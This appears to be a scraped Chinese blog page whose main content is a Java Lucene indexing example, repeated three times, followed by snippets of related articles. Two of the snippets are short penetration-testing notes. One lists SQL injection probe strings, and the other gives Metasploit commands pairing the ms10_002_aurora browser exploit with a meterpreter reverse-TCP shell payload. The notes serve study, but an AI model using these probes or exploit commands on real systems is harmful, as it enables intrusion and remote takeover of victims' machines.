这是一篇测试笔记2


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

public static void main(String[] args) {

        // 实例化词法分析器(标准分析器)

        Analyzer analyzer = new StandardAnalyzer();

        // 对indexWriter进行配置

        IndexWriterConfig indexWriterConfig = new IndexWriterConfig(analyzer);

        // 设置索引文件的打开方式,没有就创建,有就打开【和平时sql中的insertOrUpdate类似】

        indexWriterConfig.setOpenMode(IndexWriterConfig.OpenMode.CREATE_OR_APPEND);

        Directory directory = null;

        IndexWriter indexWriter = null;

        try {

            // 设置索引硬盘存储路径

            directory = FSDirectory.open(new File("E:\\JavaPOJO\\Lucene\\indexes\\testindex").toPath());

            // 设置操作对象

            indexWriter = new IndexWriter(directory, indexWriterConfig);

        } catch (IOException e) {

            e.printStackTrace();

        }

        // 创建文档一

        Document document1 = new Document();

        // 对name域赋值“测试标题” 此处YES适用于存储之前没有使用分析器的文本,如标题等

        document1.add(new TextField("name", "测试标题", Field.Store.YES));

        document1.add(new TextField("content", "测试内容", Field.Store.YES));

        try {

            // 将文档写入索引中

            indexWriter.addDocument(document1);

        } catch (IOException e) {

            e.printStackTrace();

        }

        // 创建文档二

        Document document2 = new Document();

        document2.add(new TextField("name", "Lucene简介", Field.Store.YES));

        document2.add(new TextField("content", "Lucene 是一个基于 Java 的全文" +

                "信息检索工具包,它不是一个完整的搜索应用程序,而是为你的应用程序提供" +

                "索引和搜索功能。", Field.Store.YES));

        try {

            // 将文档写入索引中

            indexWriter.addDocument(document2);

        } catch (IOException e) {

            e.printStackTrace();

        }

        try {

            // 提交事务,关闭资源

            indexWriter.commit();

            indexWriter.close();

            directory.close();

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

public static void main(String[] args) {
        // 实例化词法分析器(标准分析器)
        Analyzer analyzer = new StandardAnalyzer();
        // 对indexWriter进行配置
        IndexWriterConfig indexWriterConfig = new IndexWriterConfig(analyzer);
        // 设置索引文件的打开方式,没有就创建,有就打开【和平时sql中的insertOrUpdate类似】
        indexWriterConfig.setOpenMode(IndexWriterConfig.OpenMode.CREATE_OR_APPEND);
        Directory directory = null;
        IndexWriter indexWriter = null;
        try {
            // 设置索引硬盘存储路径
            directory = FSDirectory.open(new File("E:\\JavaPOJO\\Lucene\\indexes\\testindex").toPath());
            // 设置操作对象
            indexWriter = new IndexWriter(directory, indexWriterConfig);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 创建文档一
        Document document1 = new Document();
        // 对name域赋值“测试标题” 此处YES适用于存储之前没有使用分析器的文本,如标题等
        document1.add(new TextField("name", "测试标题", Field.Store.YES));
        document1.add(new TextField("content", "测试内容", Field.Store.YES));

        try {
            // 将文档写入索引中
            indexWriter.addDocument(document1);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 创建文档二
        Document document2 = new Document();
        document2.add(new TextField("name", "Lucene简介", Field.Store.YES));
        document2.add(new TextField("content", "Lucene 是一个基于 Java 的全文" +
                "信息检索工具包,它不是一个完整的搜索应用程序,而是为你的应用程序提供" +
                "索引和搜索功能。", Field.Store.YES));

        try {
            // 将文档写入索引中
            indexWriter.addDocument(document2);
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            // 提交事务,关闭资源
            indexWriter.commit();
            indexWriter.close();
            directory.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
public static void main(String[] args) {
        // 实例化词法分析器(标准分析器)
        Analyzer analyzer = new StandardAnalyzer();
        // 对indexWriter进行配置
        IndexWriterConfig indexWriterConfig = new IndexWriterConfig(analyzer);
        // 设置索引文件的打开方式,没有就创建,有就打开【和平时sql中的insertOrUpdate类似】
        indexWriterConfig.setOpenMode(IndexWriterConfig.OpenMode.CREATE_OR_APPEND);
        Directory directory = null;
        IndexWriter indexWriter = null;
        try {
            // 设置索引硬盘存储路径
            directory = FSDirectory.open(new File("E:\\JavaPOJO\\Lucene\\indexes\\testindex").toPath());
            // 设置操作对象
            indexWriter = new IndexWriter(directory, indexWriterConfig);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 创建文档一
        Document document1 = new Document();
        // 对name域赋值“测试标题” 此处YES适用于存储之前没有使用分析器的文本,如标题等
        document1.add(new TextField("name", "测试标题", Field.Store.YES));
        document1.add(new TextField("content", "测试内容", Field.Store.YES));

        try {
            // 将文档写入索引中
            indexWriter.addDocument(document1);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 创建文档二
        Document document2 = new Document();
        document2.add(new TextField("name", "Lucene简介", Field.Store.YES));
        document2.add(new TextField("content", "Lucene 是一个基于 Java 的全文" +
                "信息检索工具包,它不是一个完整的搜索应用程序,而是为你的应用程序提供" +
                "索引和搜索功能。", Field.Store.YES));

        try {
            // 将文档写入索引中
            indexWriter.addDocument(document2);
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            // 提交事务,关闭资源
            indexWriter.commit();
            indexWriter.close();
            directory.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
时间: 2024-10-29 00:26:07

这是一篇测试笔记2的相关文章

C#基础知识篇---------C#笔记

   一.变量         1.什么叫做变量?            我们把值可以改变的量叫做变量.          2.变量的声明:            语法:[访问修饰符] 数据类型 变量名; 如: int number=10://声明了一个整型的变量number.            注意:一次声明多个变量之间要用逗号分隔.                  如:int number1,number2,number3....;          3.变量的赋值:        

HTML5 Manifest使用测试笔记

此文纯属于个人笔记,个人能力有限,给看官带来误导请谅解,谢谢! 本文主要参考资料链接: http://www.cnblogs.com/powertoolsteam/archive/2011/04/02/2003834.html http://www.w3school.com.cn/html5/html_5_app_cache.asp http://www.w3school.com.cn/html5/html5_html.asp http://www.cnblogs.com/cxd4321/p/3

0807—MapReduce的第一篇学习笔记

http://blog.csdn.net/v_july_v/article/details/6637014 1 2 3 4 0807—MapReduce的第一篇学习笔记

监控平台 测试笔记

1.  点击某个图标,只有点击左半边有效(左半边是一个链接,右半边是一个div),click()选中的是元素的中间位置.用以下方法可解决 Actions action = new Actions(view); //X,Y坐标是从元素的左上角开始的action.moveToElement(firstDemo,0,1).click().perform(); 2. frame:  webdriver每次只能在一个页面识别,因此才需要用switchTo.frame方法去获取frame中嵌入的页面,对那个

安全测试笔记

A.SQL注入判定标准: 1.追加单引号’或单引号的URL编码形式%27或双编码方式%2527 如果漏洞存在,则提交后服务器响应为出现类似单引号不闭合的数据库错误: 2.追加注释符—或注释符的URL编码形式%2d%2d或双编码方式%252d%252d 如果漏洞存在,则提交后服务器响应为出现类似单引号不闭合或SQL语句不完整的数据库错误. 3.追加条件判断(数字型):and 1=1和and 1=2 如果漏洞存在,则分别提交后页面内容出现逻辑真(一般和不加该测试用例字符串时返回的结果一样)和逻辑假(

Hello World!这是一篇测试文档

这是用Windows Live Writer写的一篇测试文档仅供测试

【转载】Scrapy安装及demo测试笔记

Scrapy安装及demo测试笔记 原创 2016年09月01日 16:34:00 标签: scrapy / python Scrapy安装及demo测试笔记 一.环境搭建 1. 安装scrapy:pip install scrapy 2.安装:PyWin32,可以从网上载已编译好的安装包:http://www.lfd.uci.edu/%7Egohlke/pythonlibs/#pywin32 安装完之后会报如下错误 解决办法,把以下两个文件拷贝到C:\Windows\System32目录下 二

基础渗透测试笔记二

xss跨站漏洞纯手打笔记(基础) XSS漏洞扫描 常用工具: wvs 椰树 safe3 Xelenium w3af vega xss扫描插件+burp Beef: beef+msf拿客户端shell(ie6 xp) use windows/browser/ms10_002_aurora set PAYLOAD windows/meterpreter/reverse_tvp PAYLOAD =>wondows/meterpreter/reverse_tcp set SRVHOST (my ip)

鸟哥的Linux私房菜 基础学习篇读书笔记(10):Linux磁盘与文件系统管理(3)

这篇文章主要总结在Linux操作系统中管理我们的硬盘和文件系统所需要用到的命令.当我们在系统中增加了一块硬盘,我们需要经历哪些步骤才能真正使用这块硬盘呢?大致可以分为以下步骤: (1)对磁盘进行分区,新建可以使用的分区: (2)对分区进行格式化,将分区格式化为我们操作系统能够使用的文件系统: (3)对新建好的文件系统进行检验: (4)创建挂载点,将该文件系统挂载上来. 接下来就介绍磁盘分区,格式化,检验和挂载的相关命令. 磁盘分区通过 fdisk命令进行,fdisk命令的基本使用方法 为"fdi